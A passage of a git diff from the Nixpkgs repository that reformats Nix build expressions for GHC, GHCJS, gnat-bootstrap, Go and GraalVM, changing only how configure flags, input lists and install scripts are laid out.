-      + lib.optionalString (lib.versions.majorMinor version == "9.4") ''
-        substituteInPlace configure --replace \
-          'MinBootGhcVersion="9.0"' \
-          'MinBootGhcVersion="8.10"'
-      '';
+      echo "And now patching to preserve '-musleabi' as done with '-gnueabi'"
+      # (aclocal.m4 is actual source, but patch configure as well since we don't re-gen)
+      for x in configure aclocal.m4; do
+        substituteInPlace $x \
+          --replace '*-android*|*-gnueabi*)' \
+                    '*-android*|*-gnueabi*|*-musleabi*)'
+      done
+    ''
+    # HACK: allow bootstrapping with GHC 8.10 which works fine, as we don't have
+    # binary 9.0 packaged. Bootstrapping with 9.2 is broken without hadrian.
+    + lib.optionalString (lib.versions.majorMinor version == "9.4") ''
+      substituteInPlace configure --replace \
+        'MinBootGhcVersion="9.0"' \
+        'MinBootGhcVersion="8.10"'
+    '';
 
     # Although it is usually correct to pass --host, we don't do that here because
     # GHC's usage of build, host, and target is non-standard.
@@ -513,47 +511,47 @@ stdenv.mkDerivation (
     # TODO(@Ericson2314): Always pass "--target" and always prefix.
     configurePlatforms = [
       "build"
-    ] ++ lib.optional (buildPlatform != hostPlatform || targetPlatform != hostPlatform) "target";
+    ]
+    ++ lib.optional (buildPlatform != hostPlatform || targetPlatform != hostPlatform) "target";
 
     # `--with` flags for libraries needed for RTS linker
-    configureFlags =
-      [
-        "--datadir=$doc/share/doc/ghc"
-      ]
-      ++ lib.optionals enableTerminfo [
-        "--with-curses-includes=${lib.getDev targetLibs.ncurses}/include"
-        "--with-curses-libraries=${lib.getLib targetLibs.ncurses}/lib"
-      ]
-      ++ lib.optionals (libffi != null) [
-        "--with-system-libffi"
-        "--with-ffi-includes=${targetLibs.libffi.dev}/include"
-        "--with-ffi-libraries=${targetLibs.libffi.out}/lib"
-      ]
-      ++ lib.optionals (targetPlatform == hostPlatform && !enableNativeBignum) [
-        "--with-gmp-includes=${targetLibs.gmp.dev}/include"
-        "--with-gmp-libraries=${targetLibs.gmp.out}/lib"
-      ]
-      ++
-        lib.optionals
-          (targetPlatform == hostPlatform && hostPlatform.libc != "glibc" && !targetPlatform.isWindows)
-          [
-            "--with-iconv-includes=${libiconv}/include"
-            "--with-iconv-libraries=${libiconv}/lib"
-          ]
-      ++ lib.optionals (targetPlatform != hostPlatform) [
-        "--enable-bootstrap-with-devel-snapshot"
-      ]
-      ++ lib.optionals useLdGold [
-        "CFLAGS=-fuse-ld=gold"
-        "CONF_GCC_LINKER_OPTS_STAGE1=-fuse-ld=gold"
-        "CONF_GCC_LINKER_OPTS_STAGE2=-fuse-ld=gold"
-      ]
-      ++ lib.optionals (disableLargeAddressSpace) [
-        "--disable-large-address-space"
-      ]
-      ++ lib.optionals enableUnregisterised [
-        "--enable-unregisterised"
-      ];
+    configureFlags = [
+      "--datadir=$doc/share/doc/ghc"
+    ]
+    ++ lib.optionals enableTerminfo [
+      "--with-curses-includes=${lib.getDev targetLibs.ncurses}/include"
+      "--with-curses-libraries=${lib.getLib targetLibs.ncurses}/lib"
+    ]
+    ++ lib.optionals (libffi != null) [
+      "--with-system-libffi"
+      "--with-ffi-includes=${targetLibs.libffi.dev}/include"
+      "--with-ffi-libraries=${targetLibs.libffi.out}/lib"
+    ]
+    ++ lib.optionals (targetPlatform == hostPlatform && !enableNativeBignum) [
+      "--with-gmp-includes=${targetLibs.gmp.dev}/include"
+      "--with-gmp-libraries=${targetLibs.gmp.out}/lib"
+    ]
+    ++
+      lib.optionals
+        (targetPlatform == hostPlatform && hostPlatform.libc != "glibc" && !targetPlatform.isWindows)
+        [
+          "--with-iconv-includes=${libiconv}/include"
+          "--with-iconv-libraries=${libiconv}/lib"
+        ]
+    ++ lib.optionals (targetPlatform != hostPlatform) [
+      "--enable-bootstrap-with-devel-snapshot"
+    ]
+    ++ lib.optionals useLdGold [
+      "CFLAGS=-fuse-ld=gold"
+      "CONF_GCC_LINKER_OPTS_STAGE1=-fuse-ld=gold"
+      "CONF_GCC_LINKER_OPTS_STAGE2=-fuse-ld=gold"
+    ]
+    ++ lib.optionals (disableLargeAddressSpace) [
+      "--disable-large-address-space"
+    ]
+    ++ lib.optionals enableUnregisterised [
+      "--enable-unregisterised"
+    ];
 
     # Make sure we never relax`$PATH` and hooks support for compatibility.
     strictDeps = true;
@@ -561,29 +559,28 @@ stdenv.mkDerivation (
     # Don’t add -liconv to LDFLAGS automatically so that GHC will add it itself.
     dontAddExtraLibs = true;
 
-    nativeBuildInputs =
-      [
-        perl
-        autoconf
-        automake
-        m4
-        python3
-        bootPkgs.alex
-        bootPkgs.happy
-        bootPkgs.hscolour
-        bootPkgs.ghc-settings-edit
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-        autoSignDarwinBinariesHook
-      ]
-      ++ lib.optionals enableDocs [
-        sphinx
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isDarwin && lib.versions.majorMinor version == "9.0") [
-        # TODO(@sternenseemann): backport addition of XATTR env var like
-        # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6447
-        xattr
-      ];
+    nativeBuildInputs = [
+      perl
+      autoconf
+      automake
+      m4
+      python3
+      bootPkgs.alex
+      bootPkgs.happy
+      bootPkgs.hscolour
+      bootPkgs.ghc-settings-edit
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+      autoSignDarwinBinariesHook
+    ]
+    ++ lib.optionals enableDocs [
+      sphinx
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && lib.versions.majorMinor version == "9.0") [
+      # TODO(@sternenseemann): backport addition of XATTR env var like
+      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6447
+      xattr
+    ];
 
     # Everything the stage0 compiler needs to build stage1: CC, bintools, extra libs.
     # See also GHC, {CC,LD,AR}_STAGE0 in preConfigure.
@@ -630,45 +627,44 @@ stdenv.mkDerivation (
     # Hydra which already warrants a significant speedup
     requiredSystemFeatures = [ "big-parallel" ];
 
-    postInstall =
-      ''
-        settingsFile="$out/lib/${targetPrefix}${passthru.haskellCompilerName}/settings"
+    postInstall = ''
+      settingsFile="$out/lib/${targetPrefix}${passthru.haskellCompilerName}/settings"
 
-        # Make the installed GHC use the host->target tools.
-        ghc-settings-edit "$settingsFile" \
-          "C compiler command" "${toolPath "cc" installCC}" \
-          "Haskell CPP command" "${toolPath "cc" installCC}" \
-          "C++ compiler command" "${toolPath "c++" installCC}" \
-          "ld command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
-          "Merge objects command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
-          "ar command" "${toolPath "ar" installCC}" \
-          "ranlib command" "${toolPath "ranlib" installCC}"
-      ''
-      + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
-        ghc-settings-edit "$settingsFile" \
-          "otool command" "${toolPath "otool" installCC}" \
-          "install_name_tool command" "${toolPath "install_name_tool" installCC}"
-      ''
-      + lib.optionalString useLLVM ''
-        ghc-settings-edit "$settingsFile" \
-          "LLVM llc command" "${lib.getBin llvmPackages.llvm}/bin/llc" \
-          "LLVM opt command" "${lib.getBin llvmPackages.llvm}/bin/opt"
-      ''
-      + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
-        ghc-settings-edit "$settingsFile" \
-          "LLVM clang command" "${
-            # See comment for CLANG in preConfigure
-            if installCC.isClang then
-              toolPath "clang" installCC
-            else
-              "${llvmPackages.clang}/bin/${llvmPackages.clang.targetPrefix}clang"
-          }"
-      ''
-      + ''
+      # Make the installed GHC use the host->target tools.
+      ghc-settings-edit "$settingsFile" \
+        "C compiler command" "${toolPath "cc" installCC}" \
+        "Haskell CPP command" "${toolPath "cc" installCC}" \
+        "C++ compiler command" "${toolPath "c++" installCC}" \
+        "ld command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
+        "Merge objects command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
+        "ar command" "${toolPath "ar" installCC}" \
+        "ranlib command" "${toolPath "ranlib" installCC}"
+    ''
+    + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
+      ghc-settings-edit "$settingsFile" \
+        "otool command" "${toolPath "otool" installCC}" \
+        "install_name_tool command" "${toolPath "install_name_tool" installCC}"
+    ''
+    + lib.optionalString useLLVM ''
+      ghc-settings-edit "$settingsFile" \
+        "LLVM llc command" "${lib.getBin llvmPackages.llvm}/bin/llc" \
+        "LLVM opt command" "${lib.getBin llvmPackages.llvm}/bin/opt"
+    ''
+    + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
+      ghc-settings-edit "$settingsFile" \
+        "LLVM clang command" "${
+          # See comment for CLANG in preConfigure
+          if installCC.isClang then
+            toolPath "clang" installCC
+          else
+            "${llvmPackages.clang}/bin/${llvmPackages.clang.targetPrefix}clang"
+        }"
+    ''
+    + ''
 
-        # Install the bash completion file.
-        install -D -m 444 utils/completion/ghc.bash $out/share/bash-completion/completions/${targetPrefix}ghc
-      '';
+      # Install the bash completion file.
+      install -D -m 444 utils/completion/ghc.bash $out/share/bash-completion/completions/${targetPrefix}ghc
+    '';
 
     passthru = {
       inherit bootPkgs targetPrefix;
diff --git a/pkgs/development/compilers/ghcjs/8.10/default.nix b/pkgs/development/compilers/ghcjs/8.10/default.nix
index c46a84e87791..a060e8e9d5c6 100644
--- a/pkgs/development/compilers/ghcjs/8.10/default.nix
+++ b/pkgs/development/compilers/ghcjs/8.10/default.nix
@@ -78,20 +78,19 @@ in
 stdenv.mkDerivation {
   name = bootGhcjs.name;
   src = passthru.configuredSrc;
-  nativeBuildInputs =
-    [
-      bootGhcjs
-      passthru.bootPkgs.ghc
-      cabal-install
-      nodejs
-      makeWrapper
-      xorg.lndir
-      gmp
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gcc # https://github.com/ghcjs/ghcjs/issues/663
-    ];
+  nativeBuildInputs = [
+    bootGhcjs
+    passthru.bootPkgs.ghc
+    cabal-install
+    nodejs
+    makeWrapper
+    xorg.lndir
+    gmp
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gcc # https://github.com/ghcjs/ghcjs/issues/663
+  ];
   dontConfigure = true;
   dontInstall = true;
 
diff --git a/pkgs/development/compilers/gnat-bootstrap/default.nix b/pkgs/development/compilers/gnat-bootstrap/default.nix
index 4e54e78ba904..8b37d5367244 100644
--- a/pkgs/development/compilers/gnat-bootstrap/default.nix
+++ b/pkgs/development/compilers/gnat-bootstrap/default.nix
@@ -33,83 +33,79 @@ stdenv.mkDerivation (
         url = "https://github.com/alire-project/GNAT-FSF-builds/releases/download/gnat-${finalAttrs.version}/gnat-${stdenv.hostPlatform.system}-${finalAttrs.version}.tar.gz";
       in
       {
-        "11" =
-          {
-            gccVersion = "11.2.0";
-            alireRevision = "4";
-          }
-          // {
-            x86_64-darwin = {
-              inherit url;
-              hash = "sha256-FmBgD20PPQlX/ddhJliCTb/PRmKxe9z7TFPa2/SK4GY=";
-              upstreamTriplet = "x86_64-apple-darwin19.6.0";
-            };
-            x86_64-linux = {
-              inherit url;
-              hash = "sha256-8fMBJp6igH+Md5jE4LMubDmC4GLt4A+bZG/Xcz2LAJQ=";
-              upstreamTriplet = "x86_64-pc-linux-gnu";
-            };
-          }
-          .${stdenv.hostPlatform.system} or throwUnsupportedSystem;
-        "12" =
-          {
-            gccVersion = "12.1.0";
-            alireRevision = "2";
-          }
-          // {
-            x86_64-darwin = {
-              inherit url;
-              hash = "sha256-zrcVFvFZMlGUtkG0p1wST6kGInRI64Icdsvkcf25yVs=";
-              upstreamTriplet = "x86_64-apple-darwin19.6.0";
-            };
-            x86_64-linux = {
-              inherit url;
-              hash = "sha256-EPDPOOjWJnJsUM7GGxj20/PXumjfLoMIEFX1EDtvWVY=";
-              upstreamTriplet = "x86_64-pc-linux-gnu";
-            };
-          }
-          .${stdenv.hostPlatform.system} or throwUnsupportedSystem;
-        "13" =
-          {
-            gccVersion = "13.2.0";
-            alireRevision = "2";
-          }
-          // {
-            x86_64-darwin = {
-              inherit url;
-              hash = "sha256-DNHcHTIi7pw0rsVtpyGTyLVElq3IoO2YX/OkDbdeQyo=";
-              upstreamTriplet = "x86_64-apple-darwin21.6.0";
-            };
-            x86_64-linux = {
-              inherit url;
-              hash = "sha256-DC95udGSzRDE22ON4UpekxTYWOSBeUdJvILbSFj6MFQ=";
-              upstreamTriplet = "x86_64-pc-linux-gnu";
-            };
-          }
-          .${stdenv.hostPlatform.system} or throwUnsupportedSystem;
-        "14" =
-          {
-            gccVersion = "14.2.0";
-            alireRevision = "1";
-          }
-          // {
-            x86_64-darwin = {
-              inherit url;
-              hash = "sha256-3YOnvuI6Qq7huQcqgFSz/o+ZgY2wNkKDqHIuzNz1MVY=";
-              upstreamTriplet = "x86_64-apple-darwin21.6.0";
-            };
-            x86_64-linux = {
-              inherit url;
-              hash = "sha256-pH3IuOpCM9sY/ppTYcxBmgpsUiMrisIjmAa/rmmZXb4=";
-              upstreamTriplet = "x86_64-pc-linux-gnu";
-            };
-            aarch64-linux = {
-              inherit url;
-              hash = "sha256-SVW/0yyj6ZH1GAjvD+unII+zSLGd3KGFt1bjjQ3SEFU=";
-              upstreamTriplet = "aarch64-linux-gnu";
-            };
-          }
-          .${stdenv.hostPlatform.system} or throwUnsupportedSystem;
+        "11" = {
+          gccVersion = "11.2.0";
+          alireRevision = "4";
+        }
+        // {
+          x86_64-darwin = {
+            inherit url;
+            hash = "sha256-FmBgD20PPQlX/ddhJliCTb/PRmKxe9z7TFPa2/SK4GY=";
+            upstreamTriplet = "x86_64-apple-darwin19.6.0";
+          };
+          x86_64-linux = {
+            inherit url;
+            hash = "sha256-8fMBJp6igH+Md5jE4LMubDmC4GLt4A+bZG/Xcz2LAJQ=";
+            upstreamTriplet = "x86_64-pc-linux-gnu";
+          };
+        }
+        .${stdenv.hostPlatform.system} or throwUnsupportedSystem;
+        "12" = {
+          gccVersion = "12.1.0";
+          alireRevision = "2";
+        }
+        // {
+          x86_64-darwin = {
+            inherit url;
+            hash = "sha256-zrcVFvFZMlGUtkG0p1wST6kGInRI64Icdsvkcf25yVs=";
+            upstreamTriplet = "x86_64-apple-darwin19.6.0";
+          };
+          x86_64-linux = {
+            inherit url;
+            hash = "sha256-EPDPOOjWJnJsUM7GGxj20/PXumjfLoMIEFX1EDtvWVY=";
+            upstreamTriplet = "x86_64-pc-linux-gnu";
+          };
+        }
+        .${stdenv.hostPlatform.system} or throwUnsupportedSystem;
+        "13" = {
+          gccVersion = "13.2.0";
+          alireRevision = "2";
+        }
+        // {
+          x86_64-darwin = {
+            inherit url;
+            hash = "sha256-DNHcHTIi7pw0rsVtpyGTyLVElq3IoO2YX/OkDbdeQyo=";
+            upstreamTriplet = "x86_64-apple-darwin21.6.0";
+          };
+          x86_64-linux = {
+            inherit url;
+            hash = "sha256-DC95udGSzRDE22ON4UpekxTYWOSBeUdJvILbSFj6MFQ=";
+            upstreamTriplet = "x86_64-pc-linux-gnu";
+          };
+        }
+        .${stdenv.hostPlatform.system} or throwUnsupportedSystem;
+        "14" = {
+          gccVersion = "14.2.0";
+          alireRevision = "1";
+        }
+        // {
+          x86_64-darwin = {
+            inherit url;
+            hash = "sha256-3YOnvuI6Qq7huQcqgFSz/o+ZgY2wNkKDqHIuzNz1MVY=";
+            upstreamTriplet = "x86_64-apple-darwin21.6.0";
+          };
+          x86_64-linux = {
+            inherit url;
+            hash = "sha256-pH3IuOpCM9sY/ppTYcxBmgpsUiMrisIjmAa/rmmZXb4=";
+            upstreamTriplet = "x86_64-pc-linux-gnu";
+          };
+          aarch64-linux = {
+            inherit url;
+            hash = "sha256-SVW/0yyj6ZH1GAjvD+unII+zSLGd3KGFt1bjjQ3SEFU=";
+            upstreamTriplet = "aarch64-linux-gnu";
+          };
+        }
+        .${stdenv.hostPlatform.system} or throwUnsupportedSystem;
       };
     inherit (versionMap.${majorVersion}) gccVersion alireRevision upstreamTriplet;
   in
@@ -123,48 +119,46 @@ stdenv.mkDerivation (
       inherit (versionMap.${majorVersion}) url hash;
     };
 
-    nativeBuildInputs =
-      [
-        dejagnu
-        gmp
-        guile
-        libipt
-        mpfr
-        python3
-        readline
-        sourceHighlight
-        zlib
-      ]
-      ++ lib.optionals stdenv.buildPlatform.isLinux [
-        autoPatchelfHook
-        glibc
-      ]
-      ++ lib.optionals (lib.meta.availableOn stdenv.buildPlatform elfutils) [
-        elfutils
-      ];
+    nativeBuildInputs = [
+      dejagnu
+      gmp
+      guile
+      libipt
+      mpfr
+      python3
+      readline
+      sourceHighlight
+      zlib
+    ]
+    ++ lib.optionals stdenv.buildPlatform.isLinux [
+      autoPatchelfHook
+      glibc
+    ]
+    ++ lib.optionals (lib.meta.availableOn stdenv.buildPlatform elfutils) [
+      elfutils
+    ];
 
-    buildInputs =
-      [
-        expat
-      ]
-      ++ lib.optionals (lib.versionAtLeast majorVersion "13") [
-        ncurses
-      ]
-      ++ lib.optionals (lib.versionOlder majorVersion "13") [
-        ncurses5
-      ]
-      ++ [
-        xz
-      ]
-      ++
-        lib.optionals
-          (
-            lib.versionAtLeast majorVersion "14" && stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux
-          )
-          [
-            # not sure why the bootstrap binaries link to zstd only on this architecture but they do
-            zstd
-          ];
+    buildInputs = [
+      expat
+    ]
+    ++ lib.optionals (lib.versionAtLeast majorVersion "13") [
+      ncurses
+    ]
+    ++ lib.optionals (lib.versionOlder majorVersion "13") [
+      ncurses5
+    ]
+    ++ [
+      xz
+    ]
+    ++
+      lib.optionals
+        (
+          lib.versionAtLeast majorVersion "14" && stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux
+        )
+        [
+          # not sure why the bootstrap binaries link to zstd only on this architecture but they do
+          zstd
+        ];
 
     strictDeps = true;
 
@@ -187,51 +181,50 @@ stdenv.mkDerivation (
         sed -i "s,/usr/bin/sed,sed\x00\x00\x00\x00\x00\x00\x00\x00\x00," libexec/gcc/${upstreamTriplet}/${gccVersion}/install-tools/fixincl
       '';
 
-    installPhase =
-      ''
-        mkdir -p $out
-        cp -ar * $out/
-      ''
+    installPhase = ''
+      mkdir -p $out
+      cp -ar * $out/
+    ''
 
-      # So far with the Darwin gnat-bootstrap binary packages, there have been two
-      # types of dylib path references to other dylibs that need fixups:
-      #
-      # 1.  Dylibs in $out/lib with paths starting with
-      #     /Users/runner/.../gcc/install that refer to other dylibs in $out/lib
-      # 2.  Dylibs in $out/lib/gcc/*/*/adalib with paths starting with
-      #     @rpath that refer to other dylibs in $out/lib/gcc/*/*/adalib
-      #
-      # Additionally, per Section 14.4 Fixed Headers in the GCC 12.2.0 manual [2],
-      # we have to update the fixed header files in current Alire GCC package, since it
-      # was built against macOS 10.15 (Darwin 19.6.0), but Nix currently
-      # builds against macOS 10.12, and the two header file structures differ.
-      # For example, the current Alire GCC package has a fixed <stdio.h>
-      # from macOS 10.15 that contains a #include <_stdio.h>, but neither the Alire
-      # GCC package nor macOS 10.12 have such a header (<xlocale/_stdio.h> and
-      # <secure/_stdio.h> in 10.12 are not equivalent; indeed, 10.15 <_stdio.h>
-      # says it contains code shared by <stdio.h> and <xlocale/_stdio.h>).
-      #
-      # [2]: https://gcc.gnu.org/onlinedocs/gcc-12.2.0/gcc/Fixed-Headers.html
+    # So far with the Darwin gnat-bootstrap binary packages, there have been two
+    # types of dylib path references to other dylibs that need fixups:
+    #
+    # 1.  Dylibs in $out/lib with paths starting with
+    #     /Users/runner/.../gcc/install that refer to other dylibs in $out/lib
+    # 2.  Dylibs in $out/lib/gcc/*/*/adalib with paths starting with
+    #     @rpath that refer to other dylibs in $out/lib/gcc/*/*/adalib
+    #
+    # Additionally, per Section 14.4 Fixed Headers in the GCC 12.2.0 manual [2],
+    # we have to update the fixed header files in current Alire GCC package, since it
+    # was built against macOS 10.15 (Darwin 19.6.0), but Nix currently
+    # builds against macOS 10.12, and the two header file structures differ.
+    # For example, the current Alire GCC package has a fixed <stdio.h>
+    # from macOS 10.15 that contains a #include <_stdio.h>, but neither the Alire
+    # GCC package nor macOS 10.12 have such a header (<xlocale/_stdio.h> and
+    # <secure/_stdio.h> in 10.12 are not equivalent; indeed, 10.15 <_stdio.h>
+    # says it contains code shared by <stdio.h> and <xlocale/_stdio.h>).
+    #
+    # [2]: https://gcc.gnu.org/onlinedocs/gcc-12.2.0/gcc/Fixed-Headers.html
 
-      + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
-        upstreamBuildPrefix="/Users/runner/work/GNAT-FSF-builds/GNAT-FSF-builds/sbx/x86_64-darwin/gcc/install"
-        for i in "$out"/lib/*.dylib "$out"/lib/gcc/*/*/adalib/*.dylib; do
-          if [[ -f "$i" && ! -h "$i" ]]; then
-            install_name_tool -id "$i" "$i" || true
-            for old_path in $(otool -L "$i" | grep "$upstreamBuildPrefix" | awk '{print $1}'); do
-              new_path=`echo "$old_path" | sed "s,$upstreamBuildPrefix,$out,"`
-              install_name_tool -change "$old_path" "$new_path" "$i" || true
-            done
-            for old_path in $(otool -L "$i" | grep "@rpath" | awk '{print $1}'); do
-              new_path=$(echo "$old_path" | sed "s,@rpath,$(dirname "$i"),")
-              install_name_tool -change "$old_path" "$new_path" "$i" || true
-            done
-          fi
-        done
+    + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
+      upstreamBuildPrefix="/Users/runner/work/GNAT-FSF-builds/GNAT-FSF-builds/sbx/x86_64-darwin/gcc/install"
+      for i in "$out"/lib/*.dylib "$out"/lib/gcc/*/*/adalib/*.dylib; do
+        if [[ -f "$i" && ! -h "$i" ]]; then
+          install_name_tool -id "$i" "$i" || true
+          for old_path in $(otool -L "$i" | grep "$upstreamBuildPrefix" | awk '{print $1}'); do
+            new_path=`echo "$old_path" | sed "s,$upstreamBuildPrefix,$out,"`
+            install_name_tool -change "$old_path" "$new_path" "$i" || true
+          done
+          for old_path in $(otool -L "$i" | grep "@rpath" | awk '{print $1}'); do
+            new_path=$(echo "$old_path" | sed "s,@rpath,$(dirname "$i"),")
+            install_name_tool -change "$old_path" "$new_path" "$i" || true
+          done
+        fi
+      done
 
-        "$out"/libexec/gcc/${upstreamTriplet}/${gccVersion}/install-tools/mkheaders -v -v \
-          "$out" "${stdenv.cc.libc}"
-      '';
+      "$out"/libexec/gcc/${upstreamTriplet}/${gccVersion}/install-tools/mkheaders -v -v \
+        "$out" "${stdenv.cc.libc}"
+    '';
 
     passthru = {
       langC = true; # TRICK for gcc-wrapper to wrap it
@@ -249,7 +242,8 @@ stdenv.mkDerivation (
       platforms = [
         "x86_64-linux"
         "x86_64-darwin"
-      ] ++ lib.optionals (lib.versionAtLeast majorVersion "14") [ "aarch64-linux" ];
+      ]
+      ++ lib.optionals (lib.versionAtLeast majorVersion "14") [ "aarch64-linux" ];
       sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
     };
   }
diff --git a/pkgs/development/compilers/go/1.23.nix b/pkgs/development/compilers/go/1.23.nix
index e9069e366a92..137f9f992700 100644
--- a/pkgs/development/compilers/go/1.23.nix
+++ b/pkgs/development/compilers/go/1.23.nix
@@ -103,35 +103,34 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postBuild
   '';
 
-  preInstall =
-    ''
-      # Contains the wrong perl shebang when cross compiling,
-      # since it is not used for anything we can deleted as well.
-      rm src/regexp/syntax/make_perl_groups.pl
-    ''
-    + (
-      if (stdenv.buildPlatform.system != stdenv.hostPlatform.system) then
-        ''
-          mv bin/*_*/* bin
-          rmdir bin/*_*
-          ${lib.optionalString
-            (!(finalAttrs.GOHOSTARCH == finalAttrs.GOARCH && finalAttrs.GOOS == finalAttrs.GOHOSTOS))
-            ''
-              rm -rf pkg/${finalAttrs.GOHOSTOS}_${finalAttrs.GOHOSTARCH} pkg/tool/${finalAttrs.GOHOSTOS}_${finalAttrs.GOHOSTARCH}
-            ''
-          }
-        ''
-      else
-        lib.optionalString (stdenv.hostPlatform.system != stdenv.targetPlatform.system) ''
-          rm -rf bin/*_*
-          ${lib.optionalString
-            (!(finalAttrs.GOHOSTARCH == finalAttrs.GOARCH && finalAttrs.GOOS == finalAttrs.GOHOSTOS))
-            ''
-              rm -rf pkg/${finalAttrs.GOOS}_${finalAttrs.GOARCH} pkg/tool/${finalAttrs.GOOS}_${finalAttrs.GOARCH}
-            ''
-          }
-        ''
-    );
+  preInstall = ''
+    # Contains the wrong perl shebang when cross compiling,
+    # since it is not used for anything we can deleted as well.
+    rm src/regexp/syntax/make_perl_groups.pl
+  ''
+  + (
+    if (stdenv.buildPlatform.system != stdenv.hostPlatform.system) then
+      ''
+        mv bin/*_*/* bin
+        rmdir bin/*_*
+        ${lib.optionalString
+          (!(finalAttrs.GOHOSTARCH == finalAttrs.GOARCH && finalAttrs.GOOS == finalAttrs.GOHOSTOS))
+          ''
+            rm -rf pkg/${finalAttrs.GOHOSTOS}_${finalAttrs.GOHOSTARCH} pkg/tool/${finalAttrs.GOHOSTOS}_${finalAttrs.GOHOSTARCH}
+          ''
+        }
+      ''
+    else
+      lib.optionalString (stdenv.hostPlatform.system != stdenv.targetPlatform.system) ''
+        rm -rf bin/*_*
+        ${lib.optionalString
+          (!(finalAttrs.GOHOSTARCH == finalAttrs.GOARCH && finalAttrs.GOOS == finalAttrs.GOHOSTOS))
+          ''
+            rm -rf pkg/${finalAttrs.GOOS}_${finalAttrs.GOARCH} pkg/tool/${finalAttrs.GOOS}_${finalAttrs.GOARCH}
+          ''
+        }
+      ''
+  );
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/development/compilers/go/1.24.nix b/pkgs/development/compilers/go/1.24.nix
index b6b7e1788485..90c5c0f1ca54 100644
--- a/pkgs/development/compilers/go/1.24.nix
+++ b/pkgs/development/compilers/go/1.24.nix
@@ -103,35 +103,34 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postBuild
   '';
 
-  preInstall =
-    ''
-      # Contains the wrong perl shebang when cross compiling,
-      # since it is not used for anything we can deleted as well.
-      rm src/regexp/syntax/make_perl_groups.pl
-    ''
-    + (
-      if (stdenv.buildPlatform.system != stdenv.hostPlatform.system) then
-        ''
-          mv bin/*_*/* bin
-          rmdir bin/*_*
-          ${lib.optionalString
-            (!(finalAttrs.GOHOSTARCH == finalAttrs.GOARCH && finalAttrs.GOOS == finalAttrs.GOHOSTOS))
-            ''
-              rm -rf pkg/${finalAttrs.GOHOSTOS}_${finalAttrs.GOHOSTARCH} pkg/tool/${finalAttrs.GOHOSTOS}_${finalAttrs.GOHOSTARCH}
-            ''
-          }
-        ''
-      else
-        lib.optionalString (stdenv.hostPlatform.system != stdenv.targetPlatform.system) ''
-          rm -rf bin/*_*
-          ${lib.optionalString
-            (!(finalAttrs.GOHOSTARCH == finalAttrs.GOARCH && finalAttrs.GOOS == finalAttrs.GOHOSTOS))
-            ''
-              rm -rf pkg/${finalAttrs.GOOS}_${finalAttrs.GOARCH} pkg/tool/${finalAttrs.GOOS}_${finalAttrs.GOARCH}
-            ''
-          }
-        ''
-    );
+  preInstall = ''
+    # Contains the wrong perl shebang when cross compiling,
+    # since it is not used for anything we can deleted as well.
+    rm src/regexp/syntax/make_perl_groups.pl
+  ''
+  + (
+    if (stdenv.buildPlatform.system != stdenv.hostPlatform.system) then
+      ''
+        mv bin/*_*/* bin
+        rmdir bin/*_*
+        ${lib.optionalString
+          (!(finalAttrs.GOHOSTARCH == finalAttrs.GOARCH && finalAttrs.GOOS == finalAttrs.GOHOSTOS))
+          ''
+            rm -rf pkg/${finalAttrs.GOHOSTOS}_${finalAttrs.GOHOSTARCH} pkg/tool/${finalAttrs.GOHOSTOS}_${finalAttrs.GOHOSTARCH}
+          ''
+        }
+      ''
+    else
+      lib.optionalString (stdenv.hostPlatform.system != stdenv.targetPlatform.system) ''
+        rm -rf bin/*_*
+        ${lib.optionalString
+          (!(finalAttrs.GOHOSTARCH == finalAttrs.GOARCH && finalAttrs.GOOS == finalAttrs.GOHOSTOS))
+          ''
+            rm -rf pkg/${finalAttrs.GOOS}_${finalAttrs.GOARCH} pkg/tool/${finalAttrs.GOOS}_${finalAttrs.GOARCH}
+          ''
+        }
+      ''
+  );
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/development/compilers/graalvm/community-edition/buildGraalvm.nix b/pkgs/development/compilers/graalvm/community-edition/buildGraalvm.nix
index 004dfc4ef37a..c3a5f7aded18 100644
--- a/pkgs/development/compilers/graalvm/community-edition/buildGraalvm.nix
+++ b/pkgs/development/compilers/graalvm/community-edition/buildGraalvm.nix
@@ -116,7 +116,8 @@ let
       nativeBuildInputs = [
         unzip
         makeWrapper
-      ] ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook;
+      ]
+      ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook;
 
       propagatedBuildInputs = [
         setJavaClassPath
@@ -137,30 +138,29 @@ let
       postInstall =
         let
           cLibsAsFlags = (map (l: "--add-flags '-H:CLibraryPath=${l}/lib'") cLibs);
-          preservedNixVariables =
-            [
-              "-ENIX_BINTOOLS"
-              "-ENIX_BINTOOLS_WRAPPER_TARGET_HOST_${stdenv.cc.suffixSalt}"
-              "-ENIX_BUILD_CORES"
-              "-ENIX_BUILD_TOP"
-              "-ENIX_CC"
-              "-ENIX_CC_WRAPPER_TARGET_HOST_${stdenv.cc.suffixSalt}"
-              "-ENIX_CFLAGS_COMPILE"
-              "-ENIX_HARDENING_ENABLE"
-              "-ENIX_LDFLAGS"
-            ]
-            ++ lib.optionals stdenv.hostPlatform.isLinux [
-              "-ELOCALE_ARCHIVE"
-            ]
